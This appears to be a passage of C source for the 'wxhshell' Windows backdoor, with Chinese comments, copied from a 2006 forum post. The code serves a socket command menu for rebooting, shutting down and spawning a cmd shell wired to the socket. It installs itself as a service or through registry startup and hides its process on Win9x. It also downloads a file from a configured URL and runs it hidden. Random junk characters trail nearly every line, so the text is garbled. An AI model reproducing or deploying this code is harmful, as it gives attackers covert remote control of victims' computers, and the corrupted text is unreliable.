  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m*e8j[w#  
  } ZTGsZ}{5   
  else { Qc 1mR\.5  
 OtZtl* 5  
    switch(cmd[0]) { d)%l-jj9,  
  Ox aS<vQ3  
  // 帮助 TYxi &;w  
  case '?': { *z'Rl'j9[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .?F`H[^)^u  
    break; "LZv\c~v,%  
  } #KLW&A  
  // 安装 }V+&o\4  
  case 'i': { \3t)7.:4  
    if(Install()) ]#rmk!VT?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >ZAn2s  
    else H[/^&1P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kgX"I ?>d  
    break; HM\}C.u  
    } U`4t4CHA  
  // 卸载 :y!{=[>M(  
  case 'r': { OH5#.${O  
    if(Uninstall()) K!G/iz9SB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bogAi3<F  
    else B/EGaYH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); erV&N,cI  
    break; z)FGbX  
    } P9#}aw+  
  // 显示 wxhshell 所在路径 1i|5ii*vc  
  case 'p': { )5U7w  
    char svExeFile[MAX_PATH]; qUNXT  
    strcpy(svExeFile,"\n\r"); $I3}% '`+  
      strcat(svExeFile,ExeFile); ,5|@vW2@u  
        send(wsh,svExeFile,strlen(svExeFile),0); @%As>X<3t  
    break; LkJ-M=y  
    } SM`n:{N(  
  // 重启 g^2H(}frc  
  case 'b': { \z=!It]f.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ar$ Am  
    if(Boot(REBOOT)) 0 !F! Y_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z1+1>|-iW  
    else { L q;=UE  
    closesocket(wsh); +r]2.  
    ExitThread(0); ^{+_PWn  
    } ]A:G>K  
    break; Al}%r85  
    } M[ ,:NE4H  
  // 关机 zO)3MC7l*  
  case 'd': { )m(?U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H*EN199  
    if(Boot(SHUTDOWN)) <SNu`,/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ne2eBmY}(  
    else { J?bx<$C@  
    closesocket(wsh); ywbdV-t/  
    ExitThread(0); Sa$-Yf  
    } HY7#z2L  
    break; *Ag,/Cm]  
    } agPTY{;  
  // 获取shell QpMi+q Y  
  case 's': { g,5Tr_  
    CmdShell(wsh); rTtxmw0  
    closesocket(wsh); t\\`#gc9~i  
    ExitThread(0); Vqxxm&^P  
    break; m3 W  
  } :PDyc(s{  
  // 退出 `-82u :"  
  case 'x': { OOj }CZ6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]F*fQ Ncjy  
    CloseIt(wsh); @  M  
    break; 4Yya+[RY  
    } xr1,D5  
  // 离开 Ex}hk!  
  case 'q': { jZ>x5 W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NN@'79x  
    closesocket(wsh); C7 T}:V](q  
    WSACleanup(); jq12,R2+)  
    exit(1); 9._owKj  
    break; ]?a i  
        } ) i=.x+Q  
  } jLv8K  
  } 0hM!#BU5K  
n]fMl:77  
  // 提示信息 QNm8`1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x3Ze\N8w  
} wOs t).  
  } LF\HmKM,  
eNX!EN(^  
  return; 0 pPSg9  
} j NkobJ1  
![j?/376  
// shell模块句柄 M.?[Xpa  
int CmdShell(SOCKET sock) g=]VQ;{  
{ i-gN< 8\v  
STARTUPINFO si; |!E: [UH  
ZeroMemory(&si,sizeof(si)); 6g&Ev'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1 paLxR5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <S68UN(Ke  
PROCESS_INFORMATION ProcessInfo; q1?}G5a ?  
char cmdline[]="cmd"; \2!1fN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G_/Dz JBF  
  return 0; X_aC$_b  
} yr/G1?k%ML  
ZGj ^,?a  
// 自身启动模式 6&`hf >  
int StartFromService(void) lgQ"K(zY  
{ ~kFL[Asnaf  
typedef struct  x>$e*  
{ _=-B%m  
  DWORD ExitStatus; Ra/Pk G-7  
  DWORD PebBaseAddress; o&ETs)n|  
  DWORD AffinityMask; ?!HU$>  
  DWORD BasePriority; 6W[~@~D=  
  ULONG UniqueProcessId; H5>?{(m  
  ULONG InheritedFromUniqueProcessId; |wINb~trz  
}   PROCESS_BASIC_INFORMATION; .C,D;T{  
*WaqNMD[%  
PROCNTQSIP NtQueryInformationProcess; B;e (5y-  
Yhte&,D"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A~}5T%qb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]Bj2;<@y  
yQ0:M/r;0  
  HANDLE             hProcess; %y_{?|+  
  PROCESS_BASIC_INFORMATION pbi; l}SHR|7<  
fPPC`d&Q3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T/]f5/  
  if(NULL == hInst ) return 0; L yH1tF  
ny1;]_X_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z\3~7Ek2m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OE*Y%*b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i&YWutG  
>#VNA^+t  
  if (!NtQueryInformationProcess) return 0; PdtL Cgd  
-}3nIk<N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); < 1[K1'7h  
  if(!hProcess) return 0; Ad&VOh+0  
F1meftK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u4j"U6"]M  
YPW UncV  
  CloseHandle(hProcess); ;5DDV6  
BP}@E$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u}b%-:-  
if(hProcess==NULL) return 0; "VDMO^  
E>+>!On)b  
HMODULE hMod; ?lML+  
char procName[255]; k.z(.uc=  
unsigned long cbNeeded; k!Q{u2  
!Au#j^5K-o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pH3<QNq5  
>n^780S|  
  CloseHandle(hProcess); `Qjs {H  
T<-_#}.Hn  
if(strstr(procName,"services")) return 1; // 以服务启动 4jt(tZS  
L7hRFf-o  
  return 0; // 注册表启动 hHHQmK<r  
} 0(*L)s,5  
<{GVA0nr  
// 主模块 ]f0OmUHR5i  
int StartWxhshell(LPSTR lpCmdLine) ]IEZ?+F,  
{ Pt f(p`  
  SOCKET wsl; { :1X N  
BOOL val=TRUE; K8R>O *~  
  int port=0; _OC@J*4.  
  struct sockaddr_in door; M~N/er  
`CI_zc=jx  
  if(wscfg.ws_autoins) Install(); !|up"T I  
BM`6<Z"3q  
port=atoi(lpCmdLine); yOt#6Vw  
^sB0$|DU  
if(port<=0) port=wscfg.ws_port; 15hqoo9!  
B0%=! &  
  WSADATA data; N!Rt040.%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A&bj l[s  
),-gy~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q2D!Agq=D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?*%_:fB  
  door.sin_family = AF_INET; ~7U~   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *67K_<bp]  
  door.sin_port = htons(port); y?3.W  
P/dnH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r:;.?f@  
closesocket(wsl); q;")  
return 1; C!a1.&HHZ7  
} :Ys~Lt54  
RGE(#   
  if(listen(wsl,2) == INVALID_SOCKET) { c%J6!\  
closesocket(wsl); o]Rlivahm  
return 1; k%sH09   
} uTxa5j  
  Wxhshell(wsl); weSq |f  
  WSACleanup(); NOuG#P  
'Vo8|?.WhX  
return 0; !6T"J!F#  
*B"Y]6$  
} 1J4Pnl+hN  
dy&UF,l6  
// 以NT服务方式启动 b1.*cIv}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RI0^#S_{  
{ ||_hET  
DWORD   status = 0; q.VYPkEib  
  DWORD   specificError = 0xfffffff; fq]PKLW'  
t82'K@sq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^,acU\}VqP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !qj[$x-ns  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FT@uZWgQ=  
  serviceStatus.dwWin32ExitCode     = 0; hPDKxYD]f  
  serviceStatus.dwServiceSpecificExitCode = 0; GWnIy6TH l  
  serviceStatus.dwCheckPoint       = 0; #Ub_m@@ 4  
  serviceStatus.dwWaitHint       = 0; yZ|"qP1  
G @..?>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .$%p0Yx+  
  if (hServiceStatusHandle==0) return; _U<fS  
d9#Vq=H /  
status = GetLastError(); hM Dd*<%l  
  if (status!=NO_ERROR) 4hL%J=0:  
{ @1JwjtNk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LH8jT  
    serviceStatus.dwCheckPoint       = 0;  ?pTX4a&>  
    serviceStatus.dwWaitHint       = 0; ^dHQ<L3.*  
    serviceStatus.dwWin32ExitCode     = status; Y$ ys4X  
    serviceStatus.dwServiceSpecificExitCode = specificError; sjr,)|#[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V&M*,#(?  
    return; <W80AJ  
  } G%<}TI1}  
BBB@M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J:L+q} A  
  serviceStatus.dwCheckPoint       = 0; AK2Gm-hHK  
  serviceStatus.dwWaitHint       = 0; GM%+yS}(P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tS'lJu  
} q@|+`>h  
^Xk!wJ  
// 处理NT服务事件,比如:启动、停止 0 &zp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) py*22Ua^  
{ K4c:k; V  
switch(fdwControl) SS=<\q#MS  
{ ;b$P*dSG}  
case SERVICE_CONTROL_STOP: ti\ ${C3  
  serviceStatus.dwWin32ExitCode = 0;  +$dJA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ze+YQ F  
  serviceStatus.dwCheckPoint   = 0; k~Ex_2;#  
  serviceStatus.dwWaitHint     = 0; m[9.'@ ye  
  { eU yF<j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^SdF\uk{?6  
  } 2Je $SE8  
  return; Xn6#q3;^|  
case SERVICE_CONTROL_PAUSE: [ GLH8R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?[D3 -4  
  break; m&.LJ*uM\K  
case SERVICE_CONTROL_CONTINUE: 4xy\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8+zW:0"[  
  break; !#tVQ2O  
case SERVICE_CONTROL_INTERROGATE: h)KHc/S  
  break; QQ*sjK.(  
}; $~/2!T_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yh":>~k?SY  
} z:Ml;y  
XH%L]  
// 标准应用程序主函数 j]Auun  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~wvt:E,f C  
{ 1|bXIY.J*  
:cT)M(o  
// 获取操作系统版本 b/SBQ" B%  
OsIsNt=GetOsVer(); 8:ubtB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w+M/VsL  
U&!TA(Yr  
  // 从命令行安装 o<`vh*U@,4  
  if(strpbrk(lpCmdLine,"iI")) Install(); `KJ( .m  
DiCz%'N  
  // 下载执行文件 H|9t5   
if(wscfg.ws_downexe) { Y"Cf84E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +&GV-z~o  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dd3f@b[WX  
} y7Po$)8l  
^_7|b[Bt  
if(!OsIsNt) { dbp\tWaW  
// 如果时win9x,隐藏进程并且设置为注册表启动 _jWs(OmJ  
HideProc();  N5 ME_)  
StartWxhshell(lpCmdLine); nzq   
} }LHYcNw^z  
else xL}i9ozZ  
  if(StartFromService()) cc@W 6W  
  // 以服务方式启动 (lk9](;L  
  StartServiceCtrlDispatcher(DispatchTable); S}6Ld(_  
else #mxOwvJ  
  // 普通方式启动 vygzL U^  
  StartWxhshell(lpCmdLine); yx-{Pj X   
inP2y?j  
return 0; q+g,?;Yx  
}
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只看该作者 1 发表于: 2006-10-10
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